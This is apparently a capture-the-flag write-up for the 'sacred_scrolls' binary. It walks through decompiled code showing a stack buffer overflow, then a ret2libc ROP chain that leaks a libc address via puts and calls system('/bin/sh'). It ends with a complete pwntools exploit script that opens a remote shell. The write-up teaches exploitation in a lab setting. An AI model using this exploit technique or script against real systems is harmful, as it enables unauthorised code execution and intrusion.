The Challenge

In this challenge, we have a binary named sacred_scrolls with a libc.so in a folder named glibc. The binary has the following protections :

prot

Great ! We have some good news here. The binary is not a PIE (Position Independent Execution) which means that it will always be mapped at the same address. The other good news is that there is no stack canary on this binary so if we manage to find a buffer overflow somewhere, it shouldn’t be hard to exploit. Let’s move to the binary now. When launched, we are ask for a wizard tag and then we get this menu :

After making some random choices to get some insights about how the binary works, there are two noticeable things :

  • when we leave even if we didn’t do a thing, we get a segfault.
  • when we read a spell with a random input, we get an error that looks like the error output of the unzip command

segv

zip

Now, let’s load the binary in Ghidra to get some more details. Let’s investigate first the segfault by looking at what happens when we leave. We can see that the menu is called in an infinite loop that uses break when we choose 3 as a choice. After that, the function spell_save is called before the end of the main with a char buf[96] as an argument. Here is the output of the decompiled function :

void spell_save(char *buffer)
{
  char buf[32];
  
  memcpy(buf,buffer,600);
  printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n",&DAT_004020af);
  return;
}

We can see there that there is a clear buffer overflow. Whatever happens before during the execution, the function tries to fit 600 bytes in a 32 bytes buffer which obviously results in an overflow. Now that we have a way to redirect the execution, let’s see how we can fill that buffer being copied with what we want.

At the initialization of the main, the buffer is being bzeroed and we can see that then the first 96 bytes of the output of spell_read are copied in this buffer. Here is spell_read decompiled :

char * spell_read(void)
{
  int cmp;
  char *str;
  FILE *__stream;
  
  str = (char *)malloc(400);
  system("unzip spell.zip");
  __stream = fopen("spell.txt","rb");
  if (__stream == (FILE *)0x0) {
    printf("%s\n[-] There is no such file!\n\n",&DAT_004020af);
                    /* WARNING: Subroutine does not return */
    exit(-0x45);
  }
  fread(str,399,1,__stream);
  cmp = strncmp(str,"\xf0\x9f\x91\x93",4);
  if (cmp == 0) {
    cmp = strncmp(str + 4,"\xe2\x9a\xa1",3);
    if (cmp == 0) {
      close((int)__stream);
      return str;
    }
  }
  printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n",&DAT_004020af);
                    /* WARNING: Subroutine does not return */
  exit(0x520);
}

That shows us that the output string of the function will be the 399 first bytes of spell.txt but the function will only return if the first 7 bytes are the following : 0xf09f9193e29aa1. Another interesting thing is the call system("unzip spell.zip"). It explains the output that we got when we tried to read a spell. Let’s see what spell_upload does now, it seems to be the function that will control the content of spell.zip. Here is its decompiled code :

void spell_upload(void)
{
  size_t sVar1;
  long lVar2;
  undefined8 *puVar3;
  ulong *puVar4;
  ulong local_1228 [3];
  undefined2 auStack4624 [2035];
  char cStack553;
  undefined8 local_228;
  undefined8 local_220;
  undefined8 local_218 [63];
  FILE *local_20;
  ulong local_18;
  ulong local_10;
  
  local_228 = 0;
  local_220 = 0;
  puVar3 = local_218;
  for (lVar2 = 0x3e; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  local_1228[0] = 0;
  local_1228[1] = 0;
  puVar4 = local_1228 + 2;
  for (lVar2 = 0x1fe; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  }
  printf("\n[*] Enter file (it will be named spell.zip): ");
  local_18 = read(0,&local_228,0x1ff);
  (&cStack553)[local_18] = '\0';
  local_10 = 0;
  while( true ) {
    if (local_18 <= local_10) {
      local_1228[0] = local_1228[0] & 0xff00000000000000 | 0x27206f686365;
      strcat((char *)local_1228,(char *)&local_228);
      sVar1 = strlen((char *)local_1228);
      *(undefined8 *)((long)local_1228 + sVar1) = 0x65736162207c2027;
      *(undefined8 *)((long)local_1228 + sVar1 + 8) = 0x203e20642d203436;
      *(undefined8 *)((long)auStack4624 + (sVar1 - 8)) = 0x697a2e6c6c657073;
      *(undefined2 *)((long)auStack4624 + sVar1) = 0x70;
      system((char *)local_1228);
      local_20 = fopen("spell.zip","rb");
      if (local_20 == (FILE *)0x0) {
        printf("%s\n[-] There is no such file!\n\n",&DAT_004020af);
                    /* WARNING: Subroutine does not return */
        exit(-0x45);
      }
      printf("%s\n[+] Spell has been added!\n%s",&DAT_00402032,&DAT_0040202a);
      close((int)local_20);
      return;
    }
    if (((((*(char *)((long)&local_228 + local_10) < 'a') ||
          ('z' < *(char *)((long)&local_228 + local_10))) &&
         ((*(char *)((long)&local_228 + local_10) < 'A' ||
          ('Z' < *(char *)((long)&local_228 + local_10))))) &&
        (((*(char *)((long)&local_228 + local_10) < '0' ||
          ('9' < *(char *)((long)&local_228 + local_10))) &&
         (*(char *)((long)&local_228 + local_10) == '.')))) &&
       (*(char *)((long)&local_228 + local_10) == '\0')) break;
    local_10 = local_10 + 1;
  }
  printf("\n%s[-] File contains invalid charcter: [%c]\n",&DAT_004020af,
         (ulong)(uint)(int)*(char *)((long)&local_228 + local_10));
                    /* WARNING: Subroutine does not return */
  exit(0x14);
}

We can see that spell_upload seems to construct a string with the buffer it reads and then passes it to system. By looking at the values of the constants being used to construct the string using the xxd command (eg echo 27206f686365 | xxd -r -p | rev), we can see that the string constructed is echo 'buffer' | base 64 -d > spell.zip. So we now clearly know how we can overflow and control the execution of the program. We just have to upload the base64 of a zip file containing a spell.txt file containing the following payload : magic_bytes + padding + overflow, then read it and then leave the program to trigger the overflow.

The exploit

Now that put all the pieces together, we still have to figure out what to do with the overflow. We can try to attempt a ret2libc to call system("/bin/sh"). Since it is a 64-bits binary, we cannot just pass arguments by getting them on the stack, we have to put them in the rdi register. We will use a bit of ROP (Return Oriented Programming) to do that.

Short explanation of ROP

Shortly, ROP is a technique that uses small chunks of code placed before a ret instruction called “gadgets”. What the ret instruction actually does is popping the value on top of the stack and putting it in rip to redirect the execution on it. This is how the processor keeps track of the execution and is able to return to the right place after the execution of a function. Since we control the top of the stack, we can chain gadgets that will be executed since they end with ret which will pop the next stack value.

The construction of the ROP chain

The first and essential gadget we need to find is a pop rdi; ret. so that we can control the value of rdi and pass it to system. The issue is that we actually do not have any gadget of that sort in the binary. That is very inconvenient, without a way to control rdi, we cannot control what we pass to functions. There is definitely a pop rdi gadget in the libc but we cannot know its address because of ASLR. Each time we launched the program, the libc is mapped in a different place of the memory and we have to get its address at runtime. A good way to do that by calling puts which is used by the binary with a libc function as an argument so that puts will print its address and then we can call the main function whose address we know to so the same exploit but knowing the libc address this time. The problem with that is that we have no way to control the registers we pass to puts or any function. We will check the state of our registers at the time of the overflow to see if there is anything interesting. By opening gdb and placing a breakpoint before the ret instruction of spell_save we obtain that :

regs

Luckily, thanks to a weird magic, after we return from our call to printf, there is an artifact of its stack frame in rdi which is a pointer to the funclockfile function. Now, we have everything we need to get our flag. We can craft two payload : The first one will be the PLT address of puts so that it displays the address of funlockfile followed by the main function address to relaunch the program. Once we have done this, we can compute the base address of the libc and create a second one with our ret2libc by chaining the pop rdi gadget, a /bin/sh address found in the libc and finally the system function address. Tiny issue : system requires the stack to be well-aligned so before calling it, we have to put a simple ret in our ROP chain.

Here is the script that does all of that using the pwntools python library :

#!/usr/bin/env python3

from pwn import *
import base64

def gen_payload(payload):
    os.system('rm -f ./spell.txt')
    os.system('rm -f ./spell.zip')

    with open('./spell.txt', 'wb') as stream:
        stream.write(payload)

    os.system('zip ./spell.zip ./spell.txt')

    data = open("./spell.zip", 'rb').read().replace(b'\n', b'')
    payload = base64.b64encode(data)
    os.system('rm -f ./spell.txt')
    os.system('rm -f ./spell.zip')
    
    return payload

def send_payload(io, payload):
    io.recvuntil(b'tag: ')
    io.sendline(b'1')
    io.recvuntil(b'>> ')
    io.sendline(b'1')
    io.recvuntil(b': ')
    io.sendline(payload)
    io.recvuntil(b'>> ')
    io.sendline(b'2')
    io.recvuntil(b'>> ')
    io.sendline(b'3')

def get_libc(leak):
    libc_funlockfile = unpack(leak.ljust(8, b'\x00'))
    libc_address = libc_funlockfile - libc.symbols.funlockfile
    return libc_address

binname = './sacred_scrolls'
context.binary = binname

libc = ELF('./glibc/libc.so.6')
binary = ELF(binname)

magic_mark = b"\xf0\x9f\x91\x93\xe2\x9a\xa1"
puts = binary.plt.puts
main = binary.sym.main
padding = b"A" * 33
spell = magic_mark + padding + pack(puts) + pack(main)

payload = gen_payload(spell)

# io = process(binname)
io = remote('XXX.XXX.XXX.XXX', XXXX)

send_payload(io, payload)
io.recvline()
io.recvline()
leak = io.recvline().strip()
libc.address = get_libc(leak)
print('libc:', hex(libc.address))

rop = ROP(libc)

bin_sh = next(libc.search(b'/bin/sh'))
pop_rdi = rop.rdi.address
system = libc.symbols.system
ret = 0x401184
rop.raw(pop_rdi)
rop.raw(bin_sh)
rop.raw(ret)
rop.raw(system)
spell = magic_mark + padding + rop.chain()

payload = gen_payload(spell)

send_payload(io, payload)
io.interactive()

Just launch it and enjoy the flag !

getflag